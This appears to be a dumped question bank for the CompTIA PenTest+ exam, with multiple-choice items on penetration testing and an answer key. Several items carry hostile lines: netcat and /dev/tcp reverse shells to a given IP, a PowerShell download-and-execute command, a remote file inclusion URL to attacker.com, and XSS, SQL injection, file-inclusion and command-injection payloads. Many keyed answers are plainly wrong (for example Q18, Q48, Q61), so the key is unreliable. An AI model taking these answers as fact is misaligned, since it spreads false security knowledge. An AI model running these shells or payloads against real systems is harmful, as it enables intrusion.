

CompTIA PT0-001



CompTIA PenTest+ Certification

Version: 3.4

QUESTION NO: 1 DRAG DROP

Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented. Each password may be used only once.

Least to most complex

1	<input type="text"/>	zv3rl0ry
2	<input type="text"/>	Zverlory
3	<input type="text"/>	Zverl0ry
4	<input type="text"/>	Zv3r!0ry

Answer:

Least to most complex

1	Zverlory	zv3rl0ry
2	Zverl0ry	Zverlory
3	zv3rl0ry	Zverl0ry
4	Zv3r!0ry	Zv3r!0ry

Explanation:

Least to most complex

Order	String	String
1	Zverlory	zv3rl0ry
2	Zverl0ry	Zverlory
3	zv3rl0ry	Zverl0ry
4	Zv3r!0ry	Zv3r!0ry

QUESTION NO: 2 DRAG DROP

A manager calls upon a tester to assist with diagnosing an issue within the following Python script:

```
#!/usr/bin/python
```

```
s = "Administrator"
```

The tester suspects it is an issue with string slicing and manipulation. Analyze the following code segment and drag and drop the correct output for each string manipulation to its corresponding code segment. Options may be used once or not at all.

Code segment	Output		
<code>s[4:8]</code>		iita	imda
<code>s[4:12:2]</code>		inis	nist
<code>s[3::-1]</code>		nsrt	rota
<code>s[-7:-2]</code>		snmA	strat

Answer:

Code segment	Output		
<code>s[4:8]</code>	nist	iita	imda
<code>s[4:12:2]</code>	nsrt	inis	nist
<code>s[3::-1]</code>	imda	nsrt	rota
<code>s[-7:-2]</code>	strat	snmA	strat

Explanation:

Code segment	Output		
<code>s[4:8]</code>	nist	iita	
<code>s[4:12:2]</code>	nsrt	inis	
<code>s[3::-1]</code>	imda		rota
<code>s[-7:-2]</code>	strat	snmA	

QUESTION NO: 3

A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which of the following would achieve that goal?

- A.**
schtasks.exe /create/tr "powershell.exe" Sv.ps1 /run
- B.**
net session server | dsquery -user | net use c\$
- C.**
powershell && set-executionpolicy unrestricted
- D.**
reg save HKLM\System\CurrentControlSet\Services\Sv.reg

Answer: D

Explanation:

QUESTION NO: 4

A client has scheduled a wireless penetration test. Which of the following describes the scoping target information MOST likely needed before testing can begin?

- A.**
The physical location and network ESSIDs to be tested
- B.**
The number of wireless devices owned by the client
- C.**
The client's preferred wireless access point vendor
- D.**
The bands and frequencies used by the client's devices

Answer: D

Explanation:

QUESTION NO: 5

Which of the following BEST describes some significant security weaknesses with an ICS, such as those used in electrical utility facilities, natural gas facilities, dams, and nuclear facilities?

- A.**
ICS vendors are slow to implement adequate security controls.
- B.**
ICS staff are not adequately trained to perform basic duties.
- C.**
There is a scarcity of replacement equipment for critical devices.
- D.**
There is a lack of compliance for ICS facilities.

Answer: B

Explanation:

QUESTION NO: 6

A security analyst was provided with a detailed penetration report, which was performed against the organization's DMZ environment. It was noted on the report that a finding has a CVSS base score of 10.0. Which of the following levels of difficulty would be required to exploit this vulnerability?

- A.**
Very difficult; perimeter systems are usually behind a firewall.
- B.**
Somewhat difficult; would require significant processing power to exploit.
- C.**
Trivial; little effort is required to exploit this finding.
- D.**
Impossible; external hosts are hardened to protect against attacks.

Answer: C

Reference: <https://nvd.nist.gov/vuln-metrics/cvss>

QUESTION NO: 7

A penetration tester has gained access to a marketing employee's device. The penetration tester wants to ensure that if the access is discovered, control of the device can be regained. Which of the following actions should the penetration tester use to maintain persistence to the device? (Select TWO.)

- A.**
Place an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1.
- B.**
Place an entry in C:\windows\system32\drivers\etc\hosts for 12.17.20.10 badcomptia.com.
- C.**
Place a script in C:\users\%username%\local\appdata\roaming\temp\au57d.ps1.
- D.**
Create a fake service in Windows called RTAudio to execute manually.
- E.**
Place an entry for RTAudio in HKLM\CurrentControlSet\Services\RTAudio.
- F.**
Create a schedule task to call C:\windows\system32\drivers\etc\hosts.

Answer: A,C

Explanation:

QUESTION NO: 8

Which of the following tools is used to perform a credential brute force attack?

- A.**
Hydra
- B.**
John the Ripper
- C.**
Hashcat
- D.**
Peach

Answer: A

Reference: <https://www.greycampus.com/blog/information-security/brute-force-attacks-prominent-tools-to-tackle-such-attacks>

QUESTION NO: 9

Which of the following situations would cause a penetration tester to communicate with a system owner/client during the course of a test? (Select TWO.)

- A.**
The tester discovers personally identifiable data on the system.
- B.**
The system shows evidence of prior unauthorized compromise.
- C.**
The system shows a lack of hardening throughout.
- D.**
The system becomes unavailable following an attempted exploit.
- E.**
The tester discovers a finding on an out-of-scope system.

Answer: B,D

Explanation:

QUESTION NO: 10

A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities, with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client?

- A.**
Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation.
- B.**
Identify the issues that can be remediated most quickly and address them first.
- C.**

Implement the least impactful of the critical vulnerabilities' remediations first, and then address other critical vulnerabilities

D.

Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long time.

Answer: D

Explanation:

QUESTION NO: 11

Which of the following is the reason why a penetration tester would run the `chkconfig --del servicename` command at the end of an engagement?

A.

To remove the persistence

B.

To enable persistence

C.

To report persistence

D.

To check for persistence

Answer: A

Explanation:

QUESTION NO: 12

A penetration tester wants to target NETBIOS name service. Which of the following is the MOST likely command to exploit the NETBIOS name service?

A.

arpspoof

B.

nmap

C.
responder

D.
burpsuite

Answer: B

Reference: <http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/>

QUESTION NO: 13

A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains IP addresses and times that each can be scanned. Which of the following would contain this information?

A.
Rules of engagement

B.
Request for proposal

C.
Master service agreement

D.
Business impact analysis

Answer: A

Explanation:

QUESTION NO: 14

A penetration tester executes the following commands:

```
C:\>%userprofile%\jtr.exe
This program has been blocked by group policy.
C:\>accesschk.exe -w -s -q -u Users C:\Windows
rw C:\Windows\Tracing
C:\>copy %userprofile%\jtr.exe C:\Windows\Tracing
C:\Windows\Tracing\jtr.exe
jtr version 3.2...
jtr>
```

Which of the following is a local host vulnerability that the attacker is exploiting?

- A.**
Insecure file permissions
- B.**
Application whitelisting
- C.**
Shell escape
- D.**
Writable service

Answer: A

Reference: <https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#john-the-ripper---jtr>

QUESTION NO: 15

A penetration tester reviews the scan results of a web application. Which of the following vulnerabilities is MOST critical and should be prioritized for exploitation?

- A.**
Stored XSS
- B.**
Fill path disclosure
- C.**
Expired certificate
- D.**

Clickjacking

Answer: A

Reference: [https://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_\(XSS\)](https://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_(XSS))

QUESTION NO: 16

A penetration tester observes that several high-numbered ports are listening on a public web server. However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend?

- A.**
Transition the application to another port.
- B.**
Filter port 443 to specific IP addresses.
- C.**
Implement a web application firewall.
- D.**
Disable unneeded services.

Answer: D

Explanation:

QUESTION NO: 17

A penetration tester was able to enter an SQL injection command into a text box and gain access to the information store on the database. Which of the following is the BEST recommendation that would mitigate the vulnerability?

- A.**
Randomize the credentials used to log in.
- B.**
Install host-based intrusion detection.
- C.**
Implement input normalization.

D.
Perform system hardening.

Answer: D

Explanation:

QUESTION NO: 18

Black box penetration testing strategy provides the tester with:

- A.**
a target list
- B.**
a network diagram
- C.**
source code
- D.**
privileged credentials

Answer: D

Reference: <https://www.scnsoft.com/blog/fifty-shades-of-penetration-testing>

QUESTION NO: 19

Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO).

- A.**
Shodan
- B.**
SET
- C.**
BeEF
- D.**
Wireshark

E.
Maltego

F.
Dynamo

Answer: A,E

Reference: <https://resources.infosecinstitute.com/top-five-open-source-intelligence-osint-tools/#gref>

QUESTION NO: 20

A penetration tester is performing ARP spoofing against a switch. Which of the following should the penetration tester spoof to get the MOST information?

- A.**
MAC address of the client
- B.**
MAC address of the domain controller
- C.**
MAC address of the web server
- D.**
MAC address of the gateway

Answer: D

Explanation:

QUESTION NO: 21

A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single workstation. Which of the following mitigation strategies would be BEST to recommend in the report? (Select THREE).

- A.**
Randomize local administrator credentials for each machine.
- B.**

Disable remote logons for local administrators.

C.

Require multifactor authentication for all logins.

D.

Increase minimum password complexity requirements.

E.

Apply additional network access control.

F.

Enable full-disk encryption on every workstation.

G.

Segment each host into its own VLAN.

Answer: C,D,E

Explanation:

QUESTION NO: 22

A security consultant is trying to attack a device with a previously identified user account.

Module options (exploit/windows/smb/psexec):

Name	Current Setting	Required
----	-----	-----
RHOST	192.168.1.10	yes
RPORT	445	yes
SERVICE_DESCRIPTION		no
SERVICE_DISPLAY_NAME		no
SERVICE_NAME		no
SHARE	ADMIN\$	yes
SMBDOMAIN	ECorp	no
SMBPASS	aad3b435b514004ccaad3b435b5140ee:gbh5n356b58700ggppd6m2439ep	no
SMBUSER	Administrator	no

Which of the following types of attacks is being executed?

A.

Credential dump attack

B.

DLL injection attack

C.

Reverse shell attack

D.

Pass the hash attack

Answer: D

Explanation:

QUESTION NO: 23

A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below:

IP: 192.168.1.20

NETMASK: 255.255.255.0

DEFAULT GATEWAY: 192.168.1.254

DHCP: 192.168.1.253

DNS: 192.168.10.10, 192.168.20.10

Which of the following commands should the malicious user execute to perform the MITM attack?

A.

arp spoof -c both -r -t 192.168.1.1 192.168.1.20

B.

arp spoof -t 192.168.1.20 192.168.1.254

C.

arp spoof -c both -t 192.168.1.20 192.168.1.253

D.

arp spoof -r -t 192.168.1.253 192.168.1.20

Answer: B

Reference: <https://www.hackers-arise.com/single-post/2017/07/25/Man-the-Middle-MiTM-Attack-with-ARPSpoofing>

QUESTION NO: 24

A client has requested an external network penetration test for compliance purposes. During discussion between the client and the penetration tester, the client expresses unwillingness to add the penetration tester's source IP addresses to the client's IPS whitelist for the duration of the test. Which of the following is the BEST argument as to why the penetration tester's source IP addresses should be whitelisted?

A.

Whitelisting prevents a possible inadvertent DoS attack against the IPS and supporting log-monitoring systems.

B.

Penetration testing of third-party IPS systems often requires additional documentation and authorizations; potentially delaying the time-sensitive test.

C.

IPS whitelisting rules require frequent updates to stay current, constantly developing vulnerabilities and newly discovered weaknesses.

D.

Testing should focus on the discovery of possible security issues across all in-scope systems, not on determining the relative effectiveness of active defenses such as an IPS.

Answer: D

Explanation:

QUESTION NO: 25

An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment?

A.

Selection of the appropriate set of security testing tools

B.

Current and load ratings of the ICS components

C.

Potential operational and safety hazards

D.

Electrical certification of hardware used in the test

Answer: A

Explanation:

QUESTION NO: 26

A healthcare organization must abide by local regulations to protect and attest to the protection of personal health information of covered individuals. Which of the following conditions should a penetration tester specifically test for when performing an assessment? (Select TWO).

- A.**
Cleartext exposure of SNMP trap data
- B.**
Software bugs resident in the IT ticketing system
- C.**
S/MIME certificate templates defined by the CA
- D.**
Health information communicated over HTTP
- E.**
DAR encryption on records servers

Answer: D,E

Explanation:

QUESTION NO: 27

Which of the following is an example of a spear phishing attack?

- A.**
Targeting an executive with an SMS attack
- B.**
Targeting a specific team with an email attack
- C.**
Targeting random users with a USB key drop
- D.**
Targeting an organization with a watering hole attack

Answer: A

Reference: <https://www.comparitech.com/blog/information-security/spear-phishing/>

QUESTION NO: 28

A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest into a Windows application. Before beginning to test the application, which of the following should the assessor request from the organization?

- A.**
Sample SOAP messages
- B.**
The REST API documentation
- C.**
A protocol fuzzing utility
- D.**
An applicable XSD file

Answer: D

Explanation:

QUESTION NO: 29

Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow?

- A.**
Stack pointer register
- B.**
Index pointer register
- C.**
Stack base pointer
- D.**
Destination index register

Answer: A

Reference: <http://www.informit.com/articles/article.aspx?p=704311&seqNum=3>

QUESTION NO: 30

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).

A.

`nc 192.168.1.5 44444`

B.

`nc -nlvp 44444 -e /bin/sh`

C.

`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f`

D.

`nc -e /bin/sh 192.168.1.5 44444`

E.

`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f`

F.

`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f`

Answer: B,C

Reference: https://www.reddit.com/r/hacking/comments/5ms9gv/help_reverse_shell_exploit/

QUESTION NO: 31

Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this?

A.

Manufacturers developing IoT devices are less concerned with security.

B.

It is difficult for administrators to implement the same security standards across the board.

C.

IoT systems often lack the hardware power required by more secure solutions.

D.

Regulatory authorities often have lower security requirements for IoT systems.

Answer: A

Explanation:

QUESTION NO: 32

Which of the following commands starts the Metasploit database?

A.

msfconsole

B.

workspace

C.

msfvenom

D.

db_init

E.

db_connect

Answer: A

Reference: <https://www.offensive-security.com/metasploit-unleashed/msfconsole/>

QUESTION NO: 33

A company requested a penetration tester review the security of an in-house developed Android application. The penetration tester received an APK file to support the assessment. The penetration tester wants to run SAST on the APK file. Which of the following preparatory steps must the penetration tester do FIRST? (Select TWO).

A.

Convert to JAR.

B.

Decompile.

C.

Cross-compile the application.

D.

Convert JAR files to DEX.

E.

Re-sign the APK.

F.

Attach to ADB.

Answer: A,B

Explanation:

QUESTION NO: 34

A penetration tester identifies the following findings during an external vulnerability scan:

Vulnerability	Ports
Multiple unsupported versions of Apache found	80, 443
SSLv3 accepted on HTTPS connections	443
Mod_rewrite enabled on Apache servers	80, 443
Windows Server 2012 host found	21

Which of the following attack strategies should be prioritized from the scan results above?

A.

Obsolete software may contain exploitable components.

B.

Weak password management practices may be employed.

C.

Cryptographically weak protocols may be intercepted.

D.

Web server configurations may reveal sensitive information.

Answer: D

Explanation:

QUESTION NO: 35

A penetration tester is in the process of writing a report that outlines the overall level of risk to operations. In which of the following areas of the report should the penetration tester put this?

A.

Appendices

B.

Executive summary

C.

Technical summary

D.

Main body

Answer: B

Explanation:

QUESTION NO: 36

A penetration tester is performing a black box assessment on a web-based banking application. The tester was only provided with a URL to the login page. Given the below code and output:

```
import requests
from BeautifulSoup import BeautifulSoup
request = requests.get("https://www.bank.com/admin")
respHeaders, respBody = request[0], request[1]
if respHeader.statuscode = 200:
    soup = BeautifulSoup(respBody)
    soup = soup.findAll("div", {"type": "hidden"})
    print respHeader.StatusCode, StatusMessage
else:
    print respHeader.StatusCode, StatusMessage
```

Output: 200 OK

Which of the following is the tester intending to do?

- A.**
Horizontally escalate privileges.
- B.**
Scrape the page for hidden fields.
- C.**
Analyze HTTP response code.
- D.**
Search for HTTP headers.

Answer: D

Explanation:

QUESTION NO: 37

A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task?

- A.**
From the remote computer, run the following commands:

```
export XHOST 192.168.1.10:0.0
```


xhost+

Terminal

B.

From the local computer, run the following command:

```
ssh -L4444:127.0.0.1:6000 -X user@10.0.0.20 xterm
```

C.

From the remote computer, run the following command:

```
ssh -R6000:127.0.0.1:4444 -p 6000 user@192.168.1.10 "xhost+; xterm"
```

D.

From the local computer, run the following command:

```
nc -l -p 6000
```

Then, from the remote computer, run the following command:

```
xterm | nc 192.168.1.10 6000
```

Answer: A

Explanation:

QUESTION NO: 38

A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data. Given the data below from the web interception proxy:

Request

```
POST /Bank/Tax/RTSdocuments/ HTTP 1.1
Host: test.com
Accept: text/html; application/xhtml+xml
Referrer: https://www.test.com/Bank/Tax/RTSdocuments/
Cookie: PHPSESSIONID: ;
Content-Type: application/form-data;
```

Response

```
403 Forbidden
<tr>
<td>Error:</td></tr>
<tr><td>Insufficient Privileges to view the data.</td></tr>

Displaying 1-10 of 105 records.
```

Which of the following types of vulnerabilities is being exploited?

- A.**
Forced browsing vulnerability
- B.**
Parameter pollution vulnerability
- C.**
File upload vulnerability
- D.**
Cookie enumeration

Answer: D

Explanation:

QUESTION NO: 39

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

- A.**
perl -e 'use SOCKET'; \$i='<SOURCEIP>; \$p='443;

B.

ssh superadmin@<DESTINATIONIP> -p 443

C.

nc -e /bin/sh <SOURCEIP> 443

D.

bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

Answer: D

Reference: <https://hackernoon.com/reverse-shell-cf154df6e6bd>

QUESTION NO: 40

A penetration tester observes that the content security policy header is missing during a web application penetration test. Which of the following techniques would the penetration tester MOST likely perform?

A.

Command injection attack

B.

Clickjacking attack

C.

Directory traversal attack

D.

Remote file inclusion attack

Answer: B

Reference: <https://geekflare.com/http-header-implementation/>

QUESTION NO: 41

Which of the following are MOST important when planning for an engagement? (Select TWO).

A.

Goals/objectives

- B.**
Architectural diagrams
- C.**
Tolerance to impact
- D.**
Storage time for a report
- E.**
Company policies

Answer: A,C

Explanation:

QUESTION NO: 42

The following line was found in an exploited machine's history file. An attacker ran the following command:

```
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
```

Which of the following describes what the command does?

- A.**
Performs a port scan.
- B.**
Grabs the web server's banner.
- C.**
Redirects a TTY to a remote system.
- D.**
Removes error logs for the supplied IP.

Answer: C

Explanation:

QUESTION NO: 43

Which of the following types of intrusion techniques is the use of an “under-the-door tool” during a physical security assessment an example of?

- A.**
Lockpicking
- B.**
Egress sensor triggering
- C.**
Lock bumping
- D.**
Lock bypass

Answer: D

Reference: <https://www.triaxiomsecurity.com/2018/08/16/physical-penetration-test-examples/>

QUESTION NO: 44

During testing, a critical vulnerability is discovered on a client's core server. Which of the following should be the NEXT action?

- A.**
Disable the network port of the affected service.
- B.**
Complete all findings, and then submit them to the client.
- C.**
Promptly alert the client with details of the finding.
- D.**
Take the target offline so it cannot be exploited by an attacker.

Answer: A

Explanation:

QUESTION NO: 45

A penetration tester has successfully deployed an evil twin and is starting to see some victim

traffic. The next step the penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST meet this goal?

- A.**
Perform an HTTP downgrade attack.
- B.**
Harvest the user credentials to decrypt traffic.
- C.**
Perform an MITM attack.
- D.**
Implement a CA attack by impersonating trusted CAs.

Answer: A

Explanation:

QUESTION NO: 46

After gaining initial low-privilege access to a Linux system, a penetration tester identifies an interesting binary in a user's home folder titled "changepass."

```
-sr-xr-x 1 root root 6443 Oct 18 2017 /home/user/changepass
```

Using "strings" to print ASCII printable characters from changepass, the tester notes the following:

```
$ strings changepass
```

```
exit
```

```
setuid
```

```
strcmp
```

```
GLIBC_2.0
```

```
ENV_PATH
```

```
%s/changepw
```

```
malloc
```

```
strlen
```

Given this information, which of the following is the MOST likely path of exploitation to achieve root privileges on the machine?

A.

Copy changepass to a writable directory and export the ENV_PATH environmental variable to the path of a token-stealing binary titled changepw. Then run changepass.

B.

Create a copy of changepass in the same directory, naming it changepw. Export the ENV_PATH environmental variable to the path '/home/user/'. Then run changepass.

C.

Export the ENV_PATH environmental variable to the path of a writable directory that contains a token-stealing binary titled changepw. Then run changepass.

D.

Run changepass within the current directory with sudo after exporting the ENV_PATH environmental variable to the path of '/usr/local/bin'.

Answer: D

Explanation:

QUESTION NO: 47

A penetration tester wants to script out a way to discover all the RPTR records for a range of IP addresses. Which of the following is the MOST efficient to utilize?

A.

`nmap -p 53 -oG dnslist.txt | cut -d ":" -f 4`

B.

`nslookup -ns 8.8.8.8 << dnslist.txt`

C.

`for x in {1...254}; do dig -x 192.168.$x.$x; done`

D.

`dig -r > echo "8.8.8.8" >> /etc/resolv.conf`

Answer: A

Explanation:

QUESTION NO: 48

Given the following Python script:

```
#!/usr/bin/python
import socket as skt
for port in range(1,1024):
    try:
        sox=skt.socket(skt.AF_INET,skt.SOCK_STREAM)
        sox.settimeout(1000)
        sox.connect(('127.0.0.1',port))
        print '%d:OPEN' % (port)
        sox.close
    except: continue
```

Which of the following is where the output will go?

- A.**
To the screen
- B.**
To a network server
- C.**
To a file
- D.**
To /dev/null

Answer: C

Explanation:

QUESTION NO: 49

An engineer, who is conducting a penetration test for a web application, discovers the user login process sends from field data using the HTTP GET method. To mitigate the risk of exposing sensitive information, the form should be sent using an:

- A.**
HTTP POST method.

- B.**
HTTP OPTIONS method.
- C.**
HTTP PUT method.
- D.**
HTTP TRACE method.

Answer: A

Explanation:

QUESTION NO: 50

A software developer wants to test the code of an application for vulnerabilities. Which of the following processes should the software developer perform?

- A.**
Vulnerability scan
- B.**
Dynamic scan
- C.**
Static scan
- D.**
Compliance scan

Answer: A

Explanation:

QUESTION NO: 51

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL:

`https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php`

Which of the following remediation steps should be taken to prevent this type of attack?

- A.**
Implement a blacklist.
- B.**
Block URL redirections.
- C.**
Double URL encode the parameters.
- D.**
Stop external calls from the application.

Answer: B

Explanation:

QUESTION NO: 52

A penetration tester is performing a remote scan to determine if the server farm is compliant with the company's software baseline. Which of the following should the penetration tester perform to verify compliance with the baseline?

- A.**
Discovery scan
- B.**
Stealth scan
- C.**
Full scan
- D.**
Credentialed scan

Answer: A

Explanation:

QUESTION NO: 53

A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack. Which of the following remediation steps should be recommended? (Select THREE).

- A.**
Mandate all employees take security awareness training.
- B.**
Implement two-factor authentication for remote access.
- C.**
Install an intrusion prevention system.
- D.**
Increase password complexity requirements.
- E.**
Install a security information event monitoring solution.
- F.**
Prevent members of the IT department from interactively logging in as administrators.
- G.**
Upgrade the cipher suite used for the VPN solution.

Answer: B,C,G

Explanation:

QUESTION NO: 54

A penetration tester is reviewing the following output from a wireless sniffer:

ESSID	BSSID	ENCRYPTION	CHANNEL	WPS
Guest	AD:1F:AB:10:33:78	OPEN	6	N
Secure	AD:1F:AB:10:33:79	WPA2-PSK	6	N
Dev	AD:1F:AB:10:33:70	WPA2-ENT	11	N

Which of the following can be extrapolated from the above information?

- A.**
Hardware vendor
- B.**
Channel interference
- C.**
Usernames
- D.**

Key strength

Answer: C

Explanation:

QUESTION NO: 55

An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email. Which of the following types of motivation was used in this attack?

- A.**
Principle of fear
- B.**
Principle of authority
- C.**
Principle of scarcity
- D.**
Principle of likeness
- E.**
Principle of social proof

Answer: B

Explanation:

QUESTION NO: 56

A security assessor completed a comprehensive penetration test of a company and its networks and systems. During the assessment, the tester identified a vulnerability in the crypto library used for TLS on the company's intranet-wide payroll web application. However, the vulnerability has not yet been patched by the vendor, although a patch is expected within days. Which of the following strategies would BEST mitigate the risk of impact?

- A.**
Modify the web server crypto configuration to use a stronger cipher-suite for encryption, hashing, and digital signing.

B.

Implement new training to be aware of the risks in accessing the application. This training can be decommissioned after the vulnerability is patched.

C.

Implement an ACL to restrict access to the application exclusively to the finance department. Reopen the application to company staff after the vulnerability is patched.

D.

Require payroll users to change the passwords used to authenticate to the application. Following the patching of the vulnerability, implement another required password change.

Answer: C

Explanation:

QUESTION NO: 57

A penetration tester reports an application is only utilizing basic authentication on an Internet-facing application. Which of the following would be the BEST remediation strategy?

A.

Enable HTTP Strict Transport Security.

B.

Enable a secure cookie flag.

C.

Encrypt the communication channel.

D.

Sanitize invalid user input.

Answer: A

Explanation:

QUESTION NO: 58

A penetration tester is performing a code review. Which of the following testing techniques is being performed?

A.

Dynamic analysis

B.

Fuzzing analysis

C.

Static analysis

D.

Run-time analysis

Answer: C

Reference: <https://smartbear.com/learn/code-review/what-is-code-review/>

QUESTION NO: 59

During a full-scope security assessment, which of the following is a prerequisite to social engineer a target by physically engaging them?

A.

Locating emergency exits

B.

Preparing a pretext

C.

Shoulder surfing the victim

D.

Tailgating the victim

Answer: B

Explanation:

QUESTION NO: 60

Consider the following PowerShell command:

```
powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/script.ps1");Invoke-  
Cmdlet
```

Which of the following BEST describes the actions performed by this command?

- A.**
Set the execution policy.
- B.**
Execute a remote script.
- C.**
Run an encoded command.
- D.**
Instantiate an object.

Answer: B

Explanation:

QUESTION NO: 61

Which of the following excerpts would come from a corporate policy?

- A.**
Employee passwords must contain a minimum of eight characters, with one being alphanumeric.
- B.**
The help desk can be reached at 800-passwd1 to perform password resets.
- C.**
Employees must use strong passwords for accessing corporate assets.
- D.**
The corporate systems must store passwords using the MD5 hashing algorithm.

Answer: D

Explanation:

QUESTION NO: 62

In which of the following scenarios would a tester perform a Kerberoasting attack?

- A.**

The tester has compromised a Windows device and dumps the LSA secrets.

B.

The tester needs to retrieve the SAM database and crack the password hashes.

C.

The tester has compromised a limited-privilege user and needs to target other accounts for lateral movement.

D.

The tester has compromised an account and needs to dump hashes and plaintext passwords from the system.

Answer: C

Explanation:

QUESTION NO: 63

While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys should the tester use?

A.

HKEY_CLASSES_ROOT

B.

HKEY_LOCAL_MACHINE

C.

HKEY_CURRENT_USER

D.

HKEY_CURRENT_CONFIG

Answer: C

Reference: <https://www.redcanary.com/blog/windows-registry-attacks-threat-detection/>

QUESTION NO: 64

A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this?

A.

dsrm -users "DN=company.com; OU=hq CN=users"

B.

dsuser -name -account -limit 3

C.

dsquery user -inactive 3

D.

dsquery -o -rdn -limit 21

Answer: D

Explanation:

QUESTION NO: 65

Which of the following properties of the penetration testing engagement agreement will have the **LARGEST** impact on observing and testing production systems at their highest loads?

A.

Creating a scope of the critical production systems

B.

Setting a schedule of testing access times

C.

Establishing a white-box testing engagement

D.

Having management sign off on intrusive testing

Answer: B

Explanation:

QUESTION NO: 66 HOTSPOT

Instructions:

Given the following attack signatures, determine the attack type, and then identify the associated

remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

Payloads	Vulnerability Type	Remediation
#inner-tab"><script>alert(1)</script>	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization ", ;, \$, (,), (,). Input Sanitization ", ' , <...>< +.
item=widget';waitfor%20delay%20'00:00:20';--	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization ", ;, \$, (,), (,). Input Sanitization ", ' , <...>< +.
search=Bob"%3e%3cimg%20src%3da%20oneerror%3dalert(1)%3e	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization ", ;, \$, (,), (,). Input Sanitization ", ' , <...>< +.
logfile=%2fetc%2fpasswd%00	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization ", ;, \$, (,), (,). Input Sanitization ", ' , <...>< +.
site=www.exea'ping%20-c%2010%20localhost'mple.com	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization ", ;, \$, (,), (,). Input Sanitization ", ' , <...>< +.
item=widget%20union%20select%20null,null,@version;--	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization ", ;, \$, (,), (,). Input Sanitization ", ' , <...>< +.
